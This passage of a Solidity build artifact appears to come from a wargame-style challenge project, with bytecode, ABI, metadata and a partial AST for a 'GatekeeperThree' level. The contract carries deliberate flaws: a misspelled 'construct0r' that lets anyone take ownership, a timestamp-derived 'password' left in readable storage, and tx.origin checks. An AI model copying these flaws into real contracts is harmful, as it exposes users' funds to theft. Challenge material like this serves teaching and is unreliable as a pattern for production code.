0194575f80fd5b80630c3d9fed14610087578063690da2b2146100bc5780638da5cb5b146100f35780639db31d7714610111575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506001546100a790600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156100c7575f80fd5b506002546100db906001600160a01b031681565b6040516001600160a01b0390911681526020016100b3565b3480156100fe575f80fd5b505f546100db906001600160a01b031681565b34801561011c575f80fd5b506001546100db906001600160a01b031681565b34801561013b575f80fd5b5061015f5f805473ffffffffffffffffffffffffffffffffffffffff191633179055565b005b34801561016c575f80fd5b5061015f61017b3660046103e0565b6101a8565b34801561018b575f80fd5b5061015f610264565b34801561019f575f80fd5b5061015f61030a565b6002546040517f9e4b2e47000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b0390911690639e4b2e47906024016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103f7565b1561026157600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790555b50565b5f546001600160a01b03163314610279575f80fd5b5f546001600160a01b0316320361028e575f80fd5b60018054600160a01b900460ff161515146102a7575f80fd5b66038d7ea4c68000471180156102e357505f80546040516001600160a01b03909116919066038d7ea4c680009082818181858883f11593505050505b15610308576001805473ffffffffffffffffffffffffffffffffffffffff1916321790555b565b30604051610317906103d3565b6001600160a01b039091168152602001604051809103905ff080158015610340573d5f803e3d5ffd5b506002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604080517f4cbb817f0000000000000000000000000000000000000000000000000000000081529051634cbb817f916004808201925f9290919082900301818387803b1580156103bb575f80fd5b505af11580156103cd573d5f803e3d5ffd5b50505050565b61029b8061041e83390190565b5f602082840312156103f0575f80fd5b5035919050565b5f60208284031215610407575f80fd5b81518015158114610416575f80fd5b939250505056fe608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033a264697066735822122004ec1558c477d8267989f4fb6808aa81eb4b010971406c03a1d94f9d1699324264736f6c63430008180033","sourceMap":"729:976:83:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;814:25;;;;;;;;;;-1:-1:-1;814:25:83;;;;-1:-1:-1;;;814:25:83;;;;;;;;;179:14:155;;172:22;154:41;;142:2;127:18;814:25:83;;;;;;;;846:24;;;;;;;;;;-1:-1:-1;846:24:83;;;;-1:-1:-1;;;;;846:24:83;;;;;;-1:-1:-1;;;;;391:55:155;;;373:74;;361:2;346:18;846:24:83;206:247:155;760:20:83;;;;;;;;;;-1:-1:-1;760:20:83;;;;-1:-1:-1;;;;;760:20:83;;;786:22;;;;;;;;;;-1:-1:-1;786:22:83;;;;-1:-1:-1;;;;;786:22:83;;;877:65;;;;;;;;;;;;917:5;:18;;-1:-1:-1;;917:18:83;925:10;917:18;;;877:65;;;1304:145;;;;;;;;;;-1:-1:-1;1304:145:83;;;;;:::i;:::-;;:::i;1582:86::-;;;;;;;;;;;;;:::i;1455:121::-;;;;;;;;;;;;;:::i;1304:145::-;1366:5;;:30;;;;;;;;1020:25:155;;;-1:-1:-1;;;;;1366:5:83;;;;:19;;993:18:155;;1366:30:83;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1362:81;;;1428:4;1412:20;;;;-1:-1:-1;;;1412:20:83;;;1362:81;1304:145;:::o;1582:86::-;999:5;;-1:-1:-1;;;;;999:5:83;985:10;:19;977:28;;;;;;1036:5;;-1:-1:-1;;;;;1036:5:83;1023:9;:18;1015:27;;;;;;1103:13:::1;::::0;;-1:-1:-1;;;1103:13:83;::::1;;;:21;;;1095:30;;;::::0;::::1;;1208:11:::2;1184:21;:35;:80;;;;-1:-1:-1::0;1231:5:83::2;::::0;;1223:32:::2;::::0;-1:-1:-1;;;;;1231:5:83;;::::2;::::0;;1243:11:::2;::::0;1231:5;1223:32;1231:5;1223:32;1243:11;1231:5;;1223:32:::2;:41;::::0;-1:-1:-1;;;;1184:80:83::2;1180:112;;;1642:7:::3;:19:::0;;-1:-1:-1;;1642:19:83::3;1652:9;1642:19;::::0;;1180:112:::2;1582:86::o:0;1455:121::-;1535:4;1503:39;;;;;:::i;:::-;-1:-1:-1;;;;;391:55:155;;;373:74;;361:2;346:18;1503:39:83;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1495:5:83;:47;;-1:-1:-1;;1495:47:83;-1:-1:-1;;;;;1495:47:83;;;;;;;;;1552:17;;;;;;;;:15;;:17;;;;;-1:-1:-1;;1552:17:83;;;;;;;;-1:-1:-1;1495:47:83;1552:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1455:121::o;-1:-1:-1:-;;;;;;;;:::o;689:180:155:-;748:6;801:2;789:9;780:7;776:23;772:32;769:52;;;817:1;814;807:12;769:52;-1:-1:-1;840:23:155;;689:180;-1:-1:-1;689:180:155:o;1056:277::-;1123:6;1176:2;1164:9;1155:7;1151:23;1147:32;1144:52;;;1192:1;1189;1182:12;1144:52;1224:9;1218:16;1277:5;1270:13;1263:21;1256:5;1253:32;1243:60;;1299:1;1296;1289:12;1243:60;1322:5;1056:277;-1:-1:-1;;;1056:277:155:o","linkReferences":{}},"methodIdentifiers":{"allowEntrance()":"0c3d9fed","construct0r()":"b9966e56","createTrick()":"f7edf099","enter()":"e97dcb62","entrant()":"9db31d77","getAllowance(uint256)":"c960174e","owner()":"8da5cb5b","trick()":"690da2b2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"allowEntrance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"construct0r\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"createTrick\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"enter\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"entrant\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_password\",\"type\":\"uint256\"}],\"name\":\"getAllowance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"trick\",\"outputs\":[{\"internalType\":\"contract SimpleTrick\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperThree.sol\":\"GatekeeperThree\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/GatekeeperThree.sol\":{\"keccak256\":\"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5\",\"dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"allowEntrance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"construct0r"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"createTrick"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"enter"},{"inputs":[],"stateMutability":"view","type":"function","name":"entrant","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"_password","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"getAllowance"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"trick","outputs":[{"internalType":"contract SimpleTrick","name":"","type":"address"}]},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperThree.sol":"GatekeeperThree"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/GatekeeperThree.sol":{"keccak256":"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67","urls":["bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5","dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperThree.sol","id":52871,"exportedSymbols":{"GatekeeperThree":[52870],"SimpleTrick":[52742]},"nodeType":"SourceUnit","src":"32:1674:83","nodes":[{"id":52661,"nodeType":"PragmaDirective","src":"32:23:83","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52742,"nodeType":"ContractDefinition","src":"57:670:83","nodes":[{"id":52664,"nodeType":"VariableDeclaration","src":"84:29:83","nodes":[],"constant":false,"functionSelector":"d4b83992","mutability":"mutable","name":"target","nameLocation":"107:6:83","scope":52742,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"},"typeName":{"id":52663,"nodeType":"UserDefinedTypeName","pathNode":{"id":52662,"name":"GatekeeperThree","nameLocations":["84:15:83"],"nodeType":"IdentifierPath","referencedDeclaration":52870,"src":"84:15:83"},"referencedDeclaration":52870,"src":"84:15:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"visibility":"public"},{"id":52666,"nodeType":"VariableDeclaration","src":"119:20:83","nodes":[],"constant":false,"functionSelector":"690da2b2","mutability":"mutable","name":"trick","nameLocation":"134:5:83","scope":52742,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52665,"name":"address","nodeType":"ElementaryTypeName","src":"119:7:83","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52670,"nodeType":"VariableDeclaration","src":"145:42:83","nodes":[],"constant":false,"mutability":"mutable","name":"password","nameLocation":"161:8:83","scope":52742,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52667,"name":"uint256","nodeType":"ElementaryTypeName","src":"145:7:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"expression":{"id":52668,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"172:5:83","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":52669,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"178:9:83","memberName":"timestamp","nodeType":"MemberAccess","src":"172:15:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":52682,"nodeType":"FunctionDefinition","src":"194:87:83","nodes":[],"body":{"id":52681,"nodeType":"Block","src":"231:50:83","nodes":[],"statements":[{"expression":{"id":52679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52675,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52664,"src":"241:6:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":52677,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52672,"src":"266:7:83","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52676,"name":"GatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52870,"src":"250:15:83","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperThree_$52870_$","typeString":"type(contract GatekeeperThree)"}},"id":52678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"250:24:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"src":"241:33:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":52680,"nodeType":"ExpressionStatement","src":"241:33:83"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":52673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52672,"mutability":"mutable","name":"_target","nameLocation":"222:7:83","nodeType":"VariableDeclaration","scope":52682,"src":"206:23:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52671,"name":"address","nodeType":"ElementaryTypeName","src":"206:15:83","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"205:25:83"},"returnParameters":{"id":52674,"nodeType":"ParameterList","parameters":[],"src":"231:0:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52704,"nodeType":"FunctionDefinition","src":"287:201:83","nodes":[],"body":{"id":52703,"nodeType":"Block","src":"351:137:83","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52691,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":52689,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52684,"src":"365:9:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52690,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52670,"src":"378:8:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"365:21:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52695,"nodeType":"IfStatement","src":"361:63:83","trueBody":{"id":52694,"nodeType":"Block","src":"388:36:83","statements":[{"expression":{"hexValue":"74727565","id":52692,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"409:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":52688,"id":52693,"nodeType":"Return","src":"402:11:83"}]}},{"expression":{"id":52699,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52696,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52670,"src":"433:8:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52697,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"444:5:83","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":52698,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"450:9:83","memberName":"timestamp","nodeType":"MemberAccess","src":"444:15:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"433:26:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":52700,"nodeType":"ExpressionStatement","src":"433:26:83"},{"expression":{"hexValue":"66616c7365","id":52701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"476:5:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":52688,"id":52702,"nodeType":"Return","src":"469:12:83"}]},"functionSelector":"9e4b2e47","implemented":true,"kind":"function","modifiers":[],"name":"checkPassword","nameLocation":"296:13:83","parameters":{"id":52685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52684,"mutability":"mutable","name":"_password","nameLocation":"318:9:83","nodeType":"VariableDeclaration","scope":52704,"src":"310:17:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52683,"name":"uint256","nodeType":"ElementaryTypeName","src":"310:7:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"309:19:83"},"returnParameters":{"id":52688,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52687,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52704,"src":"345:4:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52686,"name":"bool","nodeType":"ElementaryTypeName","src":"345:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"344:6:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52715,"nodeType":"FunctionDefinition","src":"494:66:83","nodes":[],"body":{"id":52714,"nodeType":"Block","src":"522:38:83","nodes":[],"statements":[{"expression":{"id":52712,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52707,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52666,"src":"532:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":52710,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"548:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}],"id":52709,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"540:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52708,"name":"address","nodeType":"ElementaryTypeName","src":"540:7:83","typeDescriptions":{}}},"id":52711,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"540:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"532:21:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52713,"nodeType":"ExpressionStatement","src":"532:21:83"}]},"functionSelector":"4cbb817f","implemented":true,"kind":"function","modifiers":[],"name":"trickInit","nameLocation":"503:9:83","parameters":{"id":52705,"nodeType":"ParameterList","parameters":[],"src":"512:2:83"},"returnParameters":{"id":52706,"nodeType":"ParameterList","parameters":[],"src":"522:0:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52741,"nodeType":"FunctionDefinition","src":"566:159:83","nodes":[],"body":{"id":52740,"nodeType":"Block","src":"596:129:83","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52731,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":52720,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"618:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}],"id":52719,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"610:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52718,"name":"address","nodeType":"ElementaryTypeName","src":"610:7:83","typeDescriptions":{}}},"id":52721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"610:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":52722,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"627:3:83","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"631:6:83","memberName":"sender","nodeType":"MemberAccess","src":"627:10:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"610:27:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":52727,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"649:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}],"id":52726,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"641:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52725,"name":"address","nodeType":"ElementaryTypeName","src":"641:7:83","typeDescriptions":{}}},"id":52728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"641:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":52729,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52666,"src":"658:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"641:22:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"610:53:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52739,"nodeType":"IfStatement","src":"606:113:83","trueBody":{"id":52738,"nodeType":"Block","src":"665:54:83","statements":[{"expression":{"arguments":[{"id":52735,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52670,"src":"699:8:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52732,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52664,"src":"679:6:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":52734,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"686:12:83","memberName":"getAllowance","nodeType":"MemberAccess","referencedDeclaration":52827,"src":"679:19:83","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":52736,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"679:29:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52737,"nodeType":"ExpressionStatement","src":"679:29:83"}]}}]},"functionSelector":"b7e00291","implemented":true,"kind":"function","modifiers":[],"name":"trickyTrick","nameLocation":"575:11:83","parameters":{"id":52716,"nodeType":"ParameterList","parameters":[],"src":"586:2:83"},"returnParameters":{"id":52717,"nodeType":"ParameterList","parameters":[],"src":"596:0:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"SimpleTrick","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52742],"name":"SimpleTrick","nameLocation":"66:11:83","scope":52871,"usedErrors":[],"usedEvents":[]},{"id":52870,"nodeType":"ContractDefinition","src":"729:976:83","nodes":[{"id":52744,"nodeType":"VariableDeclaration","src":"760:20:83","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"775:5:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52743,"name":"address","nodeType":"ElementaryTypeName","src":"760:7:83","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52746,"nodeType":"VariableDeclaration","src":"786:22:83","nodes":[],"constant":false,"functionSelector":"9db31d77","mutability":"mutable","name":"entrant","nameLocation":"801:7:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52745,"name":"address","nodeType":"ElementaryTypeName","src":"786:7:83","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52748,"nodeType":"VariableDeclaration","src":"814:25:83","nodes":[],"constant":false,"functionSelector":"0c3d9fed","mutability":"mutable","name":"allowEntrance","nameLocation":"826:13:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52747,"name":"bool","nodeType":"ElementaryTypeName","src":"814:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":52751,"nodeType":"VariableDeclaration","src":"846:24:83","nodes":[],"constant":false,"functionSelector":"690da2b2","mutability":"mutable","name":"trick","nameLocation":"865:5:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract 